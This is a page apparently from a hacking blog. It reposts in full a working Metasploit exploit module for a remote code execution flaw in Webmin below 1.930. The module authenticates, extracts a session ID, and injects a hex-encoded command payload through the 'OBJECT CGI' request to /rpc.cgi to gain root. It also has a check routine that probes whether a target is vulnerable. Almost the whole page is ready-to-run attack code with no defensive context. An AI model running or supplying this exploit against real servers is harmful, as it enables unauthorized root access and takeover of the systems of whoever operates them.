Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86375776

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Webmin < 1.930 Remote Code Execution",
      'Description'    => %q{
      This exploit takes advantage of a code execution issue within the function 
      unserialise_variable() located in web-lib-funcs.pl, in order to gain root.
      The only prerequisite is a valid session id.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'James Bercegay', # Vulnerability Discovery
        ],
      'References'     =>
        [
          [ 'URL', 'https://www.gulftech.org/' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [ ['Automatic', {}] ],
      'DisclosureDate' => '2019/08/30',
      'DefaultTarget'  => 0))

      register_options(
      [
        OptString.new('WMPORT',   [ true,  "Webmin port",     '10000']),
        OptString.new('WMUSER',   [ true,  "Webmin username", 'test']),
        OptString.new('WMPASS',   [ true,  "Webmin password", 'test']),
      ])
  end

  def check
      
    # Set Webmin port
    datastore['RPORT'] = datastore['WMPORT']

    # Verbose
    print_status("Attempting to login")

    # Send login request
    res = send_request_cgi(
      {
        'uri'       =>  '/session_login.cgi',
        'method'    => 'POST',
        'vars_post' =>
          {
            'user' => datastore['WMUSER'],
            'pass' => datastore['WMPASS'],
            'save' => '1'
          },
        'cookie' => "redirect=1; testing=1; sessiontest=1;"
      })

    # If succesful cookie will be set
    if ( res and res.headers['Set-Cookie'] )
      # Do we have a valid SID?
      if ( /sid=/.match(res.headers['Set-Cookie']) )
        # Extract the SID
        sid = /sid=([a-z0-9]+);/.match(res.headers['Set-Cookie'])[1]
        print_good("Login was successful")
      else
        # No dice
        print_bad("Unable to login")
        return Exploit::CheckCode::Safe
      end
    else
        # No dice
        print_bad("Unexpected response")
        return Exploit::CheckCode::Safe
    end

    # Verbose
    print_status("Checking if host is vulnerable")

    # Try to execute arbitrary code
    res = send_request_cgi({
        'uri'          => '/rpc.cgi',
        'method'       => 'POST',
        'headers'      => 
        {
          'Referer' => 'http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s
        },
        'data'   => 'OBJECT CGI;print "Content-Type: text/metasploit\n\n"',
        'cookie' => 'redirect=1; testing=1; sessiontest=1; sid=' + sid
      })

    # If it works our custom Content-Type will be set
    if ( res.headers['Content-Type'] and res.headers['Content-Type'] == "text/metasploit" )
      # Good
      return Exploit::CheckCode::Vulnerable
    else
      # Bad
      return Exploit::CheckCode::Safe
    end
  end

  def exploit

    # Set Webmin port
    datastore['RPORT'] = datastore['WMPORT']

    # Verbose
    print_status("Attempting to login")

    # Send login request
    res = send_request_cgi(
      {
        'uri'       =>  '/session_login.cgi',
        'method'    => 'POST',
        'vars_post' =>
          {
            'user' => datastore['WMUSER'],
            'pass' => datastore['WMPASS'],
            'save' => '1'
          },
        'cookie' => "redirect=1; testing=1; sessiontest=1;"
      })

    # If succesful cookie will be set
    if ( res and res.headers['Set-Cookie'] )
      # Do we have a valid SID?
      if ( /sid=/.match(res.headers['Set-Cookie']) )
        # Extract the SID
        sid = /sid=([a-z0-9]+);/.match(res.headers['Set-Cookie'])[1]
        print_good("Login was successful")
      else
        # No dice
        print_bad("Unable to login")
        return
      end
    else
        # No dice
        print_bad("Unexpected response")
        return
    end

    # Verbose
    print_status("Sending selected payload")

    # Hex encode payload to prevent problems with the payload getting mangled
    hex = '\x' + payload.encoded.scan(/./).map{ |x| x.unpack('H*') }.join('\x')

    # Send selected payload
    res = send_request_cgi({
        'uri'          => '/rpc.cgi',
        'method'       => 'POST',
        'headers'      => 
        {
          'Referer' => 'https://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s
        },
        'data'   => 'OBJECT CGI;`' + hex + '`',
        'cookie' => 'redirect=1; testing=1; sessiontest=1; sid=' + sid
      })
    end
end